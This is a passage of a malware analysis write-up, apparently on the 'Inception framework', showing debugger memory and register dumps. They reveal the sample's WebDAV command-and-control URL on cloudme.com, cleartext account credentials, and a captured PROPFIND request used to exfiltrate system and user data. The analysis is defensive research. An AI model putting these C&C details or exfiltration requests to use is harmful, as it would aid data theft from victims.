7FF58138	7B 1D 80 7C 31 B7 80 7C	94 17 82 7C C5 1E 83 7C	0007CD30	00001000	
7FF58148	39 A7 80 7C 01 FE 90 7C	D7 9B 80 7C 10 FE 90 7C	0007CD34	00000200	
7FF58158	00 00 00 00 00 00 00 00	F4 00 80 7C F5 00 80 7C	0007CD38	00010005	

Finally we can see it's connecting to webdav.cloudme.com and cleartext credentials in following screenshot.

Address	Hex dump	ASCII	Registers (CFPU)
71B240C4	8BFF		EAX 00E93E20 ASCII "bimm4276"
71B240C6	55		ECX 00E93E5F ASCII "ank00"
71B240C7	8BEC		EDX 0007D1E8
71B240C9	33C0		EBX 7FF20000
71B240CB	50		ESP 0007D1CC
71B240CC	50		EBP 0007D214
71B240CD	50		ESI 00000001
71B240CE	FF75 14		EDI 00000000
71B240D1	FF75 10		
71B240D4	FF75 0C		
ED1=00000000			
0007D1E8	00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00@.....	
0007D1F8	00 00 00 00 00 3D E9 00 00 00 00 00 00 00 00 00ã=0.....	
0007D208	00 00 00 00 00 00 00 00 20 00 00 00 3C D2 07 00	
0007D218	6F 1F F5 7F A0 3D E9 00 20 3E E9 00 5F 3E E9 00	σϑϰΔα=0. >0	
0007D228	2C D2 07 00 00 00 00 00 00 00 00 00 50 19 F3 00	..*.....	
0007D238	00 00 00 00 68 D2 07 00 89 23 F5 7F A0 3D E9 00	..*.....	
0007D248	20 3E E9 00 5F 3E E9 00 A4 3E E9 00 00 20 F5 7F 00	>0.>0.ñ>0	
0007D258	5C D2 07 00 00 00 00 00 00 00 00 00 00 00 00 00	>0.ñ>0.ÿÏ*	
0007D268	BC D2 07 00 4E 2A F3 7F A0 3D E9 00 20 3E E9 00	!Ï*.N*≤Δã=0	
0007D278	5F 3E E9 00 A4 3E E9 00 98 D2 07 00 9C D2 07 00	>0.ñ>0.ÿÏ*	
0007D288	29 D6 46 A1 00 00 00 00 01 00 00 00 00 00 F7 7F 00	>ñFi...@..	
0007D298	00 00 00 00 00 00 00 00 00 00 F7 00 88 D2 07 00	
0007D2A8	00 00 00 01 14 D3 07 00 70 42 F4 7F 05 9A B4 DE 00pBf	
0007D2B8	00 00 00 24 D3 07 00 34 11 F3 7F 44 D3 07 00\$u..4<5	
0007D2C8	F8 D2 07 00 FC D2 07 00 B1 D7 46 A1 00 00 00 00 00	Ï*..Ï*.. F	
0007D2D8	01 00 00 00 00 F7 7F 9E 07 80 7C 00 00 00 00 00	@.....Σ&R&ç	
0007D2E8	00 00 00 01 00 00 00 00 00 00 F7 7F 18 00 00 00@.....	
0007D2F8	00 00 00 00 00 00 00 00 98 00 00 00 00 00 00 00ÿ..	
0007D308	00 00 00 00 D0 D2 07 00 7C 3D E9 00 B4 D3 07 00ÿ..	
0007D318	70 42 F4 7F 25 98 B4 DE FE FF FF C4 D3 07 00	pBfçxÿ	
0007D328	B7 12 F3 7F 44 D3 07 00 51 D7 46 A1 00 00 00 00	π&ΔD"u.Q F	
0007D338	01 00 00 00 00 F7 7F FE FF FF 40 F0 09 00Σ&!	
0007D348	00 00 00 00 01 00 00 00 7C 04 00 00 00 00 00 00@!;	
0007D1E8	0007D1E8	RETURN to 7FF51CC3 from 7FF57BB4	
0007D1D4	00E93E5F	ASCII "ank00"	
0007D1D8	00E93E20	ASCII "bimm4276"	
0007D1DC	00000004		
0007D1E0	00000000		
0007D1E4	00000000		
0007D1E8	00000000		
0007D1EC	00000001		
0007D1F0	00000000		
0007D1F4	00000000		
0007D1F8	00E93D00	ASCII "http://webdav.cloudme.com/bimm4276/CloudDrive/"	
0007D1FC	00000000		
0007D200	00000000		
0007D204	00000000		
0007D208	00000000		
0007D20C	00000000		
0007D210	00000020		
0007D214	0007D23C		
0007D218	7FF51F6F	RETURN to 7FF51F6F from 7FF51C40	
0007D21C	00E93D00	ASCII "http://webdav.cloudme.com/bimm4276/CloudDrive/"	
0007D220	00E93E20	ASCII "bimm4276"	
0007D224	00E93E5F	ASCII "ank00"	
0007D228	0007D22C		

Malware tries to communicate with the user account created at the WebDAV C&C to exfiltrate system and user information.

```
PROPFIND /bimm4276/CloudDrive/0qk0vtkx9xqZ8tAAGt/pgpHnoeA68tQIBd_T3 HTTP/1.1
Depth: 0
translate: f
User-Agent: Microsoft-webDAV-MiniRedir/5.1.2600
Host: webdav.cloudme.com
Content-Length: 0
Connection: Keep-Alive
Authorization: Digest
username="bimm4276",
"/bimm4276/
```

Reference:

<https://www.bluecoat.com/security-blog/2014-12-09/blue-coat-exposes-%E2%80%9Cinception-framework%E2%80%9D-very-sophisticated-layered-malware>